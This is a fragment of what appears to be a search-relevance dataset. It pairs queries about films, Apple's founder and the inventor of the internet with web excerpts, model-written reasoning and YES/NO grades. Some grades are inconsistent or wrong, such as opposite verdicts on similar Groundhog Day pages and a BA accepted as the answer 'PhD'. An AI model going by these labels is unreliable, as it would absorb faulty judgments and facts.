                "model_trace": "[QUERY] funniest comedy movie where the main character can't stop talking\n\n[WEBPAGE INFORMATION]\n[TITLE] The 100 best comedy movies: the funniest films of all time\n[URL] https://www.timeout.com/film/100-best-comedy-movies\n[DATE PUBLISHED] None\n[CONTENT] Photograph: Paramount Pictures  The 100 best comedy movies: the funniest films of all time Giggle along with our list of the best funny movies like \u2018Borat\u2019 and \u2018Mean Girls\u2019, as chosen by Time Out writers and top comedians   It\u2019s easy to make a funny movie. Making a classic comedy is an entirely different matter. It\u2019s one thing to make audiences laugh in the present, but to keep them laughing through the ensuing decades is one of the most difficult tricks in cinema. Because as society changes, so does our sense of humour. What\u2019s hilarious in 1923 might bomb in 2023, and one generation\u2019s laugh riot is another\u2019s laugh riot is another\u2019s \u2018huh?\u2019.\u00a0\nThat makes ranking the best comedy films of all time particularly difficult. You first have to ask, what makes a comedy truly great? There\u2019s many criteria, but one of the most important is durability. Can it withstand the test of time, and stay funny five, ten, 100 years down the road? Making that determination isn\u2019t easy. So we called in some help. To put together this list, we asked comedians like Diane Morgan and Russell Howard, actors such as John Boyega and Jodie Whittaker and a small army of Time Out writers about the movies that make them chuckle the hardest for the longest period of time. In doing so, we believe we\u2019ve found the 100 finest, most durable and most broadly appreciable laughers in history. No matter your sense of humour \u2013 silly or sophisticated, light or dark, surreal or broad \u2013 you\u2019ll find it represented here.\u00a0\n Recommended: \n \ud83d\udd25   The 100 best movies of all-time   \ud83e\udd70   The greatest romantic comedies of all time   \ud83e\udd2f   33 great disaster movies   \ud83d\ude2c   The best thriller films of all-time   \ud83c\udf0f   The best foreign films of all-time      The 100 best comedy movies      1.\u00a0This Is Spinal Tap (1984)   \n \u2018What\u2019re the hours?\u2019 \n Director: Rob Reiner\n Cast: Christopher Guest, Rob Reiner\nYou're asking, how much more funny could this be? And the answer is none. None more funny. Yes, our experts have cast their votes and the winner by a clear margin is Rob Reiner's genre-set\n\nQuery Decomposition:\n1. {funniest comedy movie}: This document lists the 100 best comedy movies, so this subcomponent is likely met -> ([1], SATISFIED)\n2. {main character can't stop talking}: The document does not provide specific details about the main characters or their traits -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {funniest comedy movie} since the document does not provide enough information to evaluate whether the main character can't stop talking. Since the document satisfies the relevant subcomponent, it is helpful. YES."
            }
        ]
    },
    {
        "query": "what is the name of the person who founded apple",
        "grid_pos": [
            0,
            8
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Person",
        "reasoning_trace": [
            "The queries generated are specific, detailed, and require a deep understanding of people, companies, and inventions to answer properly. They test Exa's ability to understand complex queries that go beyond simple keyword matching.\n\n1. \"who is the ceo of tesla\" - The answer is Elon Musk. This query requires knowledge of the leadership and key figures at major technology companies.\n\n2. \"what is the name of the person who founded apple\" - The answer is Steve Jobs. This query requires knowledge of the founders and history of major tech companies.\n\n3. \"what is the real name of the actor who played spiderman\" - The answer is Tom Holland. This query requires knowledge of actors and the characters they have portrayed.\n\n4. \"what is the nationality of the person who invented the telephone\" - The answer is Scottish. This query requires knowledge of the history of important inventions and their inventors.\n\n5. \"what is the highest degree earned by the person who invented the internet\" - The answer is PhD. This query requires knowledge of the educational background of important technology pioneers."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Steve Jobs - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Steve_Jobs",
                "published_date": "2001-08-20",
                "text": "Steve Jobs Jobs introducing the iPhone 4 in 2010 Born February 24, 1955 San Francisco, California, U.S. Died October 5, 2011 (aged 56) Palo Alto, California, U.S. Resting place Alta Mesa Memorial Park Education Reed College (attended) Occupations Entrepreneur industrial designer media proprietor investor Years active 1971\u20132011 Known for \n Pioneer of the personal computer revolution with Steve Wozniak \nCo-creator of the Apple II, Macintosh, iPod, iPhone, iPad, and first Apple Stores \n Title \n Co-founder, chairman, and CEO of Apple Inc. \nCo-founder, primary investor, and chairman of Pixar \nFounder, chairman, and CEO of NeXT \n Board member of \n The Walt Disney Company [1] \n Apple Inc. \n Spouse Laurene Powell \u200b (m. ) \u200b Partner Chrisann Brennan (1972\u20131977) Children 4, including Lisa and Eve Relatives \n Mona Simpson (sister)\n Bassma Al Jandaly (cousin)\n Malek Jandali (cousin) \n Awards Presidential Medal of Freedom (posthumous, 2022) Signature \n Steven Paul Jobs (February 24, 1955 \u2013 October 5, 2011) was an American entrepreneur, business magnate, industrial designer, media proprietor, and investor. He was the co-founder, chairman, and CEO of Apple; the chairman and majority shareholder of Pixar; a member of The Walt Disney Company's board of directors following its acquisition of Pixar; and the founder, chairman, and CEO of NeXT. He is widely recognized as a pioneer of the personal computer revolution of the 1970s and 1980s, along with his early business partner and fellow Apple co-founder Steve Wozniak.\n Jobs was born in San Francisco to a Syrian father and German-American mother. He was adopted shortly after his birth. Jobs attended Reed College in 1972 before withdrawing that same year. In 1974, he traveled through India seeking enlightenment before later studying Zen Buddhism. He and Wozniak co-founded Apple in 1976 to sell Wozniak's Apple I personal computer. Together the duo gained fame and wealth a year later with production and sale of the Apple II, one of the first highly successful mass-produced microcomputers",
                "model_trace": "Query Decomposition:\n1. {name of the person who founded Apple}: The document clearly identifies Steve Jobs as a co-founder of Apple along with Steve Wozniak -> ([1], SATISFIED)\n\nAssessment: The document directly provides the name of the person who founded Apple, which is Steve Jobs. YES."
            },
            {
                "grade": "NO",
                "title": "Remembering Steve Jobs",
                "url": "https://www.apple.com/stevejobs/",
                "published_date": "2000-01-01",
                "text": "#{header}\n #{mainText}\n #{author} #{location}\n\n#{header}\n #{mainText}\n #{author} #{location}\n\nOver a million people from all over the world have shared their memories, thoughts, and feelings about Steve. One thing they all have in common \u2014 from personal friends to colleagues to owners of Apple products \u2014 is how they\u2019ve been touched by his passion and creativity. You can view some of these messages below. And share your own at rememberingsteve@apple.com",
                "model_trace": "Query Decomposition:\n1. {name of the person}: The query is asking for a specific name -> ([1], UNSURE)\n2. {founded Apple}: The document is about Steve Jobs, but it does not explicitly state that he founded Apple -> ([1], UNSURE)\n\nAssessment: The document does not explicitly state that Steve Jobs founded Apple, nor does it provide the specific name of the founder directly. Both subcomponents are UNSURE. NO."
            },
            {
                "grade": "YES",
                "title": "Steve Jobs",
                "url": "https://www.conservapedia.com/Steve_Jobs",
                "published_date": "2021-12-27",
                "text": "Steve Paul Jobs (February 24, 1955-October 5, 2011); [1] born in Los Altos CA served as the liberal CEO of Apple, Inc. until August 24, 2011, which he co-founded with Steve Wozniak in 1976. He also co-founded Pixar Animation Studios in 1986. In 2010, Steve Jobs was recognized as the \u201cbest-performing CEO in the world.\u201d [2] Steve Jobs grew up in the apricot orchards which later became known as Silicon Valley, and lived there with his wife and three children until his death on October 5, 2011. [3] [4]\n\nBiography\nJobs reportedly claimed that he left Christianity when he was thirteen and saw a Life magazine picture of starving children. [5] That story, however, sounds implausibly similar to the reason given by Buddha for founding Buddhism, a belief system that Jobs later found attractive. Jobs was, in fact, similar to many California teenagers in the 1970s who did what they liked, while rejecting Christianity. But that all changed when he found out about his cancer. \"Ever since I've had cancer, I've been thinking about (God) more. And I find myself believing a bit more. Maybe it's because I want to believe in an afterlife. That when you die, it doesn't just all disappear.\"\n [6] \n Jobs left Apple in 1985 when the CEO he recruited in 1983 gave the board of directors a \"him or me\" ultimatum, but later returned in the mid-1990s to eventually restore it to preeminence. He was credited with overseeing the development and marketing of the Macintosh, the iPad, the iPhone, and the iPod. \n Steve Jobs co-founded Pixar Animation Studios in 1986. Pixar merged with The Walt Disney Company in 2006, and Jobs served on Disney's board of directors. Jobs was one the very few persons to successfully run a company that takes a horizontal diversification approach (selling and marketing a variety of products that would appeal to their original consumer base). He was also one of the adoption success stories.\n\nI love beautiful objects. I love creating them. Negative people upset me... Remembering that you are going to die is the best way I kn",
                "model_trace": "Query Decomposition:\n1. {name of the person}: This document provides the name of the person -> ([1], SATISFIED)\n2. {founded Apple}: This document clearly states that Steve Jobs co-founded Apple with Steve Wozniak -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Steve Jobs - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Steve_Jobs",
                "published_date": null,
                "text": "Steve Jobs       Jobs introducing the iPhone 4 in 2010    Born February 24, 1955   San Francisco, California, U.S.     Died October 5, 2011 (aged\u00a056)   Palo Alto, California, U.S.     Resting place  Alta Mesa Memorial Park    Education  Reed College (attended)   Occupations    Entrepreneur industrial designer media proprietor investor      Years\u00a0active 1971\u20132011   Known\u00a0for  \n Pioneer of the personal computer revolution with Steve Wozniak \nCo-creator of the Apple II, Macintosh, iPod, iPhone, iPad, and first Apple Stores  \n    Title  \n Co-founder, chairman, and CEO of Apple Inc. \nCo-founder, primary investor, and chairman of Pixar \nFounder, chairman, and CEO of NeXT  \n    Board member\u00a0of  \n  The Walt Disney Company  [1]  \n Apple Inc.  \n    Spouse     Laurene Powell   \u200b (m.\u00a0) \u200b     Partner  Chrisann Brennan (1972\u20131977)   Children 4, including Lisa and Eve    Relatives  \n  Mona Simpson (sister)\n Bassma Al Jandaly (cousin)\n Malek Jandali (cousin) \n    Awards    Presidential Medal of Freedom (posthumous, 2022)   Signature         \n Steven Paul Jobs (February 24, 1955 \u2013 October 5, 2011) was an American entrepreneur, business magnate, industrial designer, media proprietor, and investor. He was the co-founder, chairman, and CEO of Apple; the chairman and majority shareholder of Pixar; a member of The Walt Disney Company's board of directors following its acquisition of Pixar; and the founder, chairman, and CEO of NeXT. He is widely recognized as a pioneer of the personal computer revolution of the 1970s and 1980s, along with his early business partner and fellow Apple co-founder Steve Wozniak.\n Jobs was born in San Francisco to a Syrian father and German-American mother. He was adopted shortly after his birth. Jobs attended Reed College in 1972 before withdrawing that same year. In 1974, he traveled through India seeking enlightenment before later studying Zen Buddhism. He and Wozniak co-founded Apple in 1976 to sell Wozniak's Apple I personal computer. Together the duo gained fame and wealth a year later with production",
                "model_trace": "Query Decomposition:\n1. {name of the person}: This document provides the name of the person -> ([1], SATISFIED)\n2. {founder of Apple}: The document clearly states that Steve Jobs co-founded Apple with Steve Wozniak -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents of the query. YES."
            },
            {
                "grade": "YES",
                "title": "The Founding of Apple Computer, Inc. - This Month in Business History",
                "url": "https://guides.loc.gov/this-month-in-business-history/april/apple-computer-founded",
                "published_date": null,
                "text": "Carol Highsmith, photographer. Passersby outside an Apple computer store in the Washington, D.C. suburb of Bethesda, Maryland.  2015. Library of Congress Prints and Photographs Division.\nApple Computer, Inc. was founded on April 1, 1976, by college dropouts Steve Jobs and Steve Wozniak, who brought to the new company a vision of changing the way people viewed computers. Jobs and Wozniak wanted to make computers small enough for people to have them in their homes or offices. Simply put, they wanted a computer that was user-friendly. 1  \nJobs and Wozniak started out building the Apple I in Jobs' garage and sold them without a monitor, keyboard, or casing (which they decided to add on in 1977). The Apple II revolutionized the computer industry with the introduction of the first-ever color graphics. Sales jumped from $7.8 million in 1978 to $117 million in 1980, the year Apple went public. 2  \nWozniak left Apple in 1983 due to a diminishing interest in the day-to-day running of Apple Computer. Jobs then hired PepsiCo's John Sculley to be president. However, this move backfired and after much controversy with Sculley, Jobs left in 1985 and went on to new and bigger things. He founded his own company NeXT Software and he also bought Pixar from George Lucas, which would later become a huge success in computer animation of such movies as Toy Story, A Bug's Life, Monsters, Inc., and Finding Nemo.  3  \nThrough the rest of the 1980s, Apple was still doing well and in 1990 it posted its highest profits yet. This was, however, mostly due to the plans that Jobs had already set in motion before he left, most notably his deal with a tiny company by the name of Adobe, creator of the Adobe Portable Document Format (PDF). Together the two companies created the phenomenon known as desktop publishing. 4  \nBack in 1985 Sculley turned down an appeal from Microsoft founder Bill Gates to license its software. This decision would later come back to haunt him because Microsoft, whose Windows operating system (OS) featured a graphical inter",
                "model_trace": "Query Decomposition:\n1. {name of the person who founded Apple}: The document provides the names of the founders of Apple, Steve Jobs and Steve Wozniak -> ([1], SATISFIED).\n\nAssessment: The document clearly satisfies the key subcomponent by providing the names of the founders of Apple. YES."
            },
            {
                "grade": "YES",
                "title": "Apple Inc. - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Apple_Inc.",
                "published_date": null,
                "text": "Apple Inc.              Apple Park, the company's headquarters in Cupertino, California within Silicon Valley      Formerly    Apple Computer Company (1976\u20131977) Apple Computer, Inc. (1977\u20132007)      Type  Public       Traded as        Nasdaq:\u00a0AAPL   Nasdaq-100 component  DJIA component  S&amp;P 100 component  S&amp;P 500 component       ISIN   US0378331005    Industry     Consumer electronics   Software services   Online services       Founded April\u00a01, 1976; 46 years ago in Los Altos, California, U.S.   Founders     Steve Jobs   Steve Wozniak   Ronald Wayne       Headquarters  1 Apple Park Way,   Cupertino, California  ,  U.S. 37\u00b020\u203206\u2033N 122\u00b000\u203232\u2033W\ufeff / \ufeff37.3349\u00b0N 122.0090\u00b0W Coordinates: 37\u00b020\u203206\u2033N 122\u00b000\u203232\u2033W\ufeff / \ufeff37.3349\u00b0N 122.0090\u00b0W       Number of locations  522 retail stores\u00a0(2022)    Area served  Worldwide    Key people      Arthur D. Levinson (chairman)  Tim Cook (CEO)  Jeff Williams (COO)  Luca Maestri (CFO)      Products  \n  AirPods \n Apple Watch \n iPad \n iPhone \n Mac \n  Full list   \n    Services  \n  App Store \n Apple Card \n Apple Music \n Apple TV+ \n Apple Pay  \n    Revenue  US$394.33 billion\u00a0(2022)      Operating income     US$119.44 billion\u00a0(2022)      Net income     US$99.80 billion\u00a0(2022)    Total assets   US$352.76 billion\u00a0(2022)    Total equity   US$50.67 billion\u00a0(2022)    Number of employees  164,000\u00a0(2022)    Subsidiaries      Apple Studios   Beats Electronics   Beddit   Braeburn Capital   Claris   Drive.ai   InVisage Technologies   Dark Sky       Website  www .apple .com       Footnotes\u00a0/ references   [1]   [2]   [3]   [4]   [5]     \n Apple Inc. is an American multinational technology company headquartered in Cupertino, California, United States. Apple is the largest technology company by revenue (totaling US$365.8 billion in 2021) and, as of June\u00a02022, is the world's biggest company by market capitalization, the fourth-largest personal computer vendor by unit sales and second-largest mobile phone manufacturer. It is one of the Big Five American information technology companies, alongside Alphabe",
                "model_trace": "Query Decomposition:\n1. {name of the person who founded Apple}: This document lists the founders of Apple Inc. as Steve Jobs, Steve Wozniak, and Ronald Wayne -> ([1], SATISFIED)\n\nAssessment: The document clearly provides the names of the founders of Apple Inc. YES."
            }
        ]
    },
    {
        "query": "sci-fi movie about a guy who gets stuck in a time loop",
        "grid_pos": [
            0,
            7
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Video/Movie/TV Show",
        "reasoning_trace": [
            "1. Best horror movie with a twist ending: The answer could be \"The Sixth Sense\" - a supernatural horror film about a child psychologist who discovers one of his young patients can see and communicate with the dead, culminating in a famous twist ending.\n\n2. Funniest comedy movie where the main character can't stop talking: The answer could be \"Monty Python and the Holy Grail\" - a classic British comedy where the main characters, a group of knights on a quest, frequently engage in absurdist and fast-paced dialogue.\n\n3. Sci-fi movie about a guy who gets stuck in a time loop: The answer could be \"Edge of Tomorrow\" - a sci-fi action film where a soldier in a future war gets stuck repeating the same day over and over again.\n\n4. Animated movie with a magical creature that helps a young person go on a journey: The answer could be \"Spirited Away\" - a Japanese animated fantasy film where a young girl enters a supernatural world and is aided by a dragon-like creature on her journey of self-discovery.\n\n5. Action movie about a retired spy who gets pulled back into the game: The answer could be \"Taken\" - a thriller about a retired CIA operative who must use his particular set of skills to rescue his daughter from human traffickers."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Groundhog Day (film) - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Groundhog_Day_(film)",
                "published_date": "2002-10-30",
                "text": "Groundhog Day Theatrical release poster Directed by Harold Ramis Screenplay by Danny Rubin Harold Ramis Story by Danny Rubin Produced by Trevor Albert Harold Ramis Starring \n Bill Murray \n Andie MacDowell \n Chris Elliott \n Cinematography John Bailey Edited by Pembroke J. Herring Music by George Fenton Distributed by Columbia Pictures Release dates \n February 4, 1993 (Fox Village Theatre)\nFebruary 12, 1993 \n Running time 101 minutes Country United States Language English Budget $14.6\u201330 million Box office $105 million \n Groundhog Day is a 1993 American fantasy comedy film directed by Harold Ramis from a screenplay by him and Danny Rubin. Starring Bill Murray, Andie MacDowell, and Chris Elliott, it tells the story of Phil Connors (Murray), a cynical television weatherman covering the annual Groundhog Day event in Punxsutawney, Pennsylvania, who becomes trapped in a time loop, forcing him to relive February 2 repeatedly. The film also features Stephen Tobolowsky, Brian Doyle-Murray, Marita Geraghty, Angela Paton, Rick Ducommun, Rick Overton, and Robin Duke.\n Rubin conceived the outline of Groundhog Day in the early 1990s. He wrote it as a spec script to gain meetings with producers for other work. It eventually came to the attention of Ramis, who worked with Rubin to make his idea less dark in tone and more palatable to a general audience by enhancing the comedy. After being cast, Murray clashed with Ramis over the script; Murray wanted to focus on the philosophical elements, whereas Ramis concentrated on the comic aspects. Principal photography took place from March to June 1992 almost entirely in Woodstock, Illinois. Filming was difficult, in part because of bitterly cold weather but also because of the ongoing conflict between Ramis and Murray.\n Groundhog Day was considered a box-office success on its release, earning over $105 million to become one of the highest-grossing films of 1993. It also received generally positive reviews. Reviewers were consistent in praise for the film's successful melding of highly se",
                "model_trace": "Query Decomposition:\n1. {sci-fi movie}: Groundhog Day is a fantasy comedy film, not strictly sci-fi -> ([1], UNSURE)\n2. {about a guy who gets stuck in a time loop}: The document states that the film tells the story of Phil Connors, who becomes trapped in a time loop -> ([1], SATISFIED)\n\nAssessment: The document clearly satisfies the subcomponent about a guy getting stuck in a time loop, which is the critical part of the query. The genre being fantasy comedy rather than sci-fi is a minor deviation. YES."
            },
            {
                "grade": "NO",
                "title": "Groundhog Day (1993) - IMDb",
                "url": "https://www.imdb.com/title/tt0107048/?ref_=fn_al_tt_1",
                "published_date": "2005-08-21",
                "text": "Cast & crew User reviews Trivia 19931993 PGPG 1h 41m A narcissistic, self-centered weatherman finds himself in a time loop on Groundhog Day, and the day keeps repeating until he gets it right.A narcissistic, self-centered weatherman finds himself in a time loop on Groundhog Day, and the day keeps repeating until he gets it right.A narcissistic, self-centered weatherman finds himself in a time loop on Groundhog Day, and the day keeps repeating until he gets it right. See production, box office & company info 921User reviews 151Critic reviews 72Metascore See more at IMDbPro Videos4 More like this Review Neglected Masterpiece I thought the film was terrific when I saw it in theaters twelve years ago. Recently in watching it again on cable, I was amazed at the quality of the screenplay. I didn't notice the first time. But on repeated viewings (like reliving Groundhog Day), I was impressed at the story created by the writers. This film is so much more than witty jokes and comic riffs arranged around a gimmick. It has an internal logic and consistency that is very rarely found in screenplays. No joke seemed disposable, and as you laugh your way along, the philosophy underlying the film takes over your imagination. Check the IMDb listings for this film's awards: look at the numerous British awards for writing. And yet this film was not even nominated for an Oscar. It is so rare that a film's jokes seem just as fresh more than a decade later, but I believe that is because the theme underlying the humor will never go out of fashion. The acting was terrific, and I now think this is Bill Murray's best work (though I didn't take it seriously when I first saw the film.) But the screenplay is the one of the finest ever written. I don't know if it's studied in film schools, but it ought to be. * * * * * ON HAROLD RAMIS' DEATH: Ramis told The Associated Press in a 2009 story about the 50th anniversary of Second City. \"When you hit it right, those things last.\" I found that quote in a story on Ramis' death. The story curiously di",
                "model_trace": "Query Decomposition:\n1. {sci-fi movie}: The document is about \"Groundhog Day,\" which is generally categorized as a comedy/fantasy rather than a sci-fi movie -> ([1], UNSATISFIED)\n2. {guy who gets stuck in a time loop}: The document describes the plot of \"Groundhog Day,\" where a man is stuck in a time loop -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponent about a guy getting stuck in a time loop, but it does not satisfy the subcomponent about being a sci-fi movie. Since the query specifically asks for a sci-fi movie and \"Groundhog Day\" is not typically classified as such, the document is not fully aligned with the user's intent. NO."
            },
            {
                "grade": "NO",
                "title": "Watch Groundhog Day (1993)!",
                "url": "https://mitakkafilms.blogspot.com/2017/10/watch-groundhog-day-1993.html",
                "published_date": "2017-10-17",
                "text": "Tuesday, 17 October 2017\n\nWatch Groundhog Day (1993)!\n\nHave you ever thought that you are re-living yesterday over and over again? It will become a Groundhog day. Watch this movie, where Bill Murray, Andie MacDowell and Chris Elliott are starring.\n\nat\n October 17, 2017\n\nNo comments:\n\nPost a Comment\n\nNewer Post\nOlder Post\nHome\n\nSubscribe to:\nPost Comments (Atom)",
                "model_trace": "Query Decomposition:\n1. {sci-fi movie}: Groundhog Day is not typically classified as a sci-fi movie; it is more of a comedy/fantasy -> ([1], UNSATISFIED)\n2. {guy who gets stuck in a time loop}: Groundhog Day is about a man who gets stuck in a time loop -> ([1], SATISFIED)\n\nAssessment: The document satisfies the subcomponent about a guy getting stuck in a time loop but does not satisfy the subcomponent about being a sci-fi movie. Since the relevant subcomponent {sci-fi movie} is UNSATISFIED, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "List of films featuring time loops",
                "url": "https://en.wikipedia.org/wiki/List_of_films_featuring_time_loops",
                "published_date": null,
                "text": "Film\nYear\nDescription\n \n  The Time Travelers \n1964\nScientists test a time-viewing device but the screen becomes a portal which they enter; then it disappears, stranding them in a future devastated by nuclear war.  [2] \n \n  Journey to the Center of Time \n1967\nRemake of  The Time Travelers   [3] \n \n Le 15 Mai\n1969\nA couple wakes up one sunny morning on the 15th of May. Apparently, they had the same nightmare and the day unfolds strangely. The next day, we are still on the 15th of May. Claire Denis's graduation work from La F\u00e9mis. [4] \n \n  The Girl Who Leapt Through Time  (live-action)\n1983\nBased on Yasutaka Tsutsui's 1965 novel of the same name. The story is about a Japanese schoolgirl who accidentally gains the ability to time travel, which she experiments with and attempts to alter past events, leading her on a journey through multiple time loops. [5]   [6] \n \n  Urusei Yatsura 2: Beautiful Dreamer \n1984\nThe students of Tomobiki high school relive the day before the school festival over and over. [7]   [8]   [9] \n \n  Mirror for a Hero \n1987\n Zerkalo dlya geroya, a Soviet Union film by Vladimir Khotinenko. Two heroes circle multiple times in 1949, adapting to the harsh post-war life, meeting the parents of one of them, finally returning to the present time, having reassessed their attitude towards elders. [10]   [11] \n \n  12:01 PM \n1990\nThis short film is the first film adaptation of the short story \"12:01 PM\" by Richard A. Lupoff, which was published in 1973 in  The Magazine of Fantasy and Science Fiction . It originally aired on cable television as part of the Showtime 30-Minute Movie anthology series. It was nominated for an Academy Award. [12] \n \n  12:01 \n1993\nThe second film adaptation of the short story \"12:01 PM\" by Richard A. Lupoff, which was published in 1973 in  The Magazine of Fantasy and Science Fiction . Office worker Barry Thomas is forced to relive the worst day of his life. [13] \n \n  Groundhog Day \n1993\nSelf-centered television weatherman Phil Connors (Bill Murray) is forced to relive the same day ",
                "model_trace": "Query Decomposition:\n1. {sci-fi movie}: This document lists various films, some of which are sci-fi -> ([1], SATISFIED)\n2. {guy who gets stuck in a time loop}: The document lists films featuring time loops, which likely includes films where a guy gets stuck in a time loop -> ([2], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents by providing a list of films featuring time loops, which likely includes sci-fi movies where a guy gets stuck in a time loop. YES."
            },
            {
                "grade": "YES",
                "title": "15 Best Time Loop Movies (That Aren't 'Groundhog Day')",
                "url": "https://collider.com/amazing-time-loop-movies-arent-groundhog-day/",
                "published_date": null,
                "text": "Sign in to your Collider account\n            \n        \n            \n                                \n                                    \n                                                                                                                        \n                                                    \n                    \n                                                            \n    \n        \n    \n        \n                                        Image by Federico Napoli\n                        \n    \n    \n    \n            \n            \n    \n    \n    \n    \n        \n    \n    \n    \n        \n        \n        \n                            \n                    \n                            \n            \n            \n    \n                                                            \n            \n    \n    \n                                                                            \n                                \n                                \n                                                \n            \n        \n    \n        \n                                                                                                                        \n                                                    \n            \n    \n    \n    \n    \n        \n    \n    \n    \n            \n    \n    \n            \n                                                    \n                        \n    \n                                                        \n                                                                                                                                    \n                                \n                                                \n            \n        \n    \n        \n                                                                                                                        \n                                                    \n            \n    \n    \n    \n    \n        \n    \n    \n    \n            \n    \n    \n            \n    \n    \n                                                                   ",
                "model_trace": "Query Decomposition:\n1. {sci-fi movie}: The document is about time loop movies, which can include sci-fi movies -> ([1], SATISFIED)\n2. {guy who gets stuck in a time loop}: The document is specifically about time loop movies, which implies it will list movies involving characters stuck in time loops -> ([1], SATISFIED)\n\nAssessment: The document is a list of time loop movies, which is highly relevant to the query about a sci-fi movie involving a guy stuck in a time loop. YES."
            },
            {
                "grade": "NO",
                "title": "Sci-fi movie about a prisoner who keeps escaping but ...",
                "url": "https://scifi.stackexchange.com/questions/262787/sci-fi-movie-about-a-prisoner-who-keeps-escaping-but-always-gets-caught",
                "published_date": null,
                "text": "Spoiler   (1998).\nFrom Wikipedia:\n Spoiler is a 1998 American action sci-fi film directed by Jeff Burr and starring Gary Daniels and Meg Foster. It takes place in New York in the far future.\nIn a futuristic, cyber-punk New York City, convicted felon Roger Mason (Gary Daniels) is serving a sentence and is locked away in a high security prison facility, where Cryonics are applied to some of the inmates, including Mason himself, to keep them in a state of suspended animation. Mason, despite all the security measures applied at his confinement facility, manages to escape repeatedly to see his daughter, which is the only reason why he's making attempt after attempt to break free. However, the authorities are able to catch him and bring him back every time to serve even a longer sentence as punishment for his attempts to escape. Since he's being cryonically frozen to serve his time for years at a time, he remains practically the same age while his daughter grows older normally. As more and more time keeps being added to his original sentence, his escape attempts become more of an obsession rather than a goal.\nFrom a review:\nAt Spoiler\u2019s core is a phenomenal performance from Gary Daniels. Almost completely eschewing the kind of arse-kicking action for which he\u2019s best known, the martial arts star unleashes a dramatic tour de force as Roger Mason. A convicted felon, Mason is initially sentenced to a year\u2019s cryogenic suspension, but the bulk of the film details his transformation into the eponymous \u2018spoiler\u2019: a wonderful bit of William Gibson-esque terminology used to describe a lag with an indeterminate stretch hanging over them due to their propensity for escaping. Thus Mason literally becomes trapped in the criminal justice system, and his obsessive desire to reunite with his daughter increases with the same ferocity as his punishment every time he breaks free, is re-apprehended, and is refrozen again for longer and longer periods. \nEpisodic in structure, the repetitive nature of Michael Kalesniko\u2019s smart script imbues ",
                "model_trace": "Query Decomposition:\n1. {sci-fi movie}: The document is about a sci-fi movie -> ([1], SATISFIED)\n2. {guy who gets stuck in a time loop}: The document describes a movie where a prisoner repeatedly escapes and gets caught, but this is not a time loop in the traditional sense (where time resets and events repeat exactly) -> ([1], UNSATISFIED)\n\nAssessment: The document does not satisfy the key subcomponent of a time loop, as it describes a scenario of repeated escape attempts rather than an actual time loop. NO."
            }
        ]
    },
    {
        "query": "what is the highest degree earned by the person who invented the internet",
        "grid_pos": [
            0,
            8
        ],
        "grid_pos_str": "Search Query Format: Google Request, Search Result Type: Person",
        "reasoning_trace": [
            "The queries generated are specific, detailed, and require a deep understanding of people, companies, and inventions to answer properly. They test Exa's ability to understand complex queries that go beyond simple keyword matching.\n\n1. \"who is the ceo of tesla\" - The answer is Elon Musk. This query requires knowledge of the leadership and key figures at major technology companies.\n\n2. \"what is the name of the person who founded apple\" - The answer is Steve Jobs. This query requires knowledge of the founders and history of major tech companies.\n\n3. \"what is the real name of the actor who played spiderman\" - The answer is Tom Holland. This query requires knowledge of actors and the characters they have portrayed.\n\n4. \"what is the nationality of the person who invented the telephone\" - The answer is Scottish. This query requires knowledge of the history of important inventions and their inventors.\n\n5. \"what is the highest degree earned by the person who invented the internet\" - The answer is PhD. This query requires knowledge of the educational background of important technology pioneers."
        ],
        "results": [
            {
                "grade": "YES",
                "title": "Tim Berners-Lee - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Tim_Berners-Lee",
                "published_date": "2001-05-15",
                "text": "From Wikipedia, the free encyclopedia\n\nSir Tim Berners-Lee OM KBE FRS FREng FRSA DFBCS RDI Berners-Lee in 2014 Born Timothy John Berners-Lee 8 June 1955 (age 67) London, England Other names TimBLTBL Education The Queen's College, Oxford (BA) Known for Invention of the World Wide Web Spouse(s) Nancy Carlson\n \u200b \u200b (m. 1990; div. 2011) \u200b \n Rosemary Leith \u200b (m. 2014) \u200b Children 2 children; 3 step-children Parent(s) Conway Berners-Lee Mary Lee Woods Awards Turing Award (2016) Queen Elizabeth Prize (2013) Foreign Associate of the National Academy of Sciences (2009) Order of Merit (2007) ACM Software System Award (1995) Scientific career Institutions CERN Massachusetts Institute of Technology World Wide Web Consortium University of Oxford University of Southampton Website w3 .org /People /Berners-Lee / \n Sir Timothy John Berners-Lee, OM, KBE, FRS, FREng, FRSA, DFBCS, RDI (born 8 June 1955), [1] also known as TimBL, is an English computer scientist best known as the inventor of the World Wide Web. He is a professorial research fellow at the University of Oxford [2] and a professor emeritus at the Massachusetts Institute of Technology (MIT). [3] [4] Berners-Lee proposed an information management system on 12 March 1989, [5] [6] then implemented the first successful communication between a Hypertext Transfer Protocol (HTTP) client and server via the Internet in mid-November. [7] [8] [9] [10] [11] \n Berners-Lee is the director of the World Wide Web Consortium (W3C), which oversees the continued development of the Web. He co-founded (with his then-wife-to-be Rosemary Leith) the World Wide Web Foundation. He is a senior researcher and holder of the 3Com founder's chair at the MIT Computer Science and Artificial Intelligence Laboratory (CSAIL). [12] He is a director of the Web Science Research Initiative (WSRI) [13] and a member of the advisory board of the MIT Center for Collective Intelligence. [14] [15] In 2011, he was named as a member of the board of trustees of the Ford Foundation. [16] He is a founder and president of th",
                "model_trace": "Query Decomposition:\n1. {highest degree earned}: The document mentions that Tim Berners-Lee attended The Queen's College, Oxford and earned a BA -> ([1], SATISFIED)\n2. {person who invented the internet}: The document clearly identifies Tim Berners-Lee as the inventor of the World Wide Web -> ([1], SATISFIED)\n\nAssessment: The document satisfies both key subcomponents. YES."
            },
            {
                "grade": "YES",
                "title": "Tim Berners-Lee Net Worth",
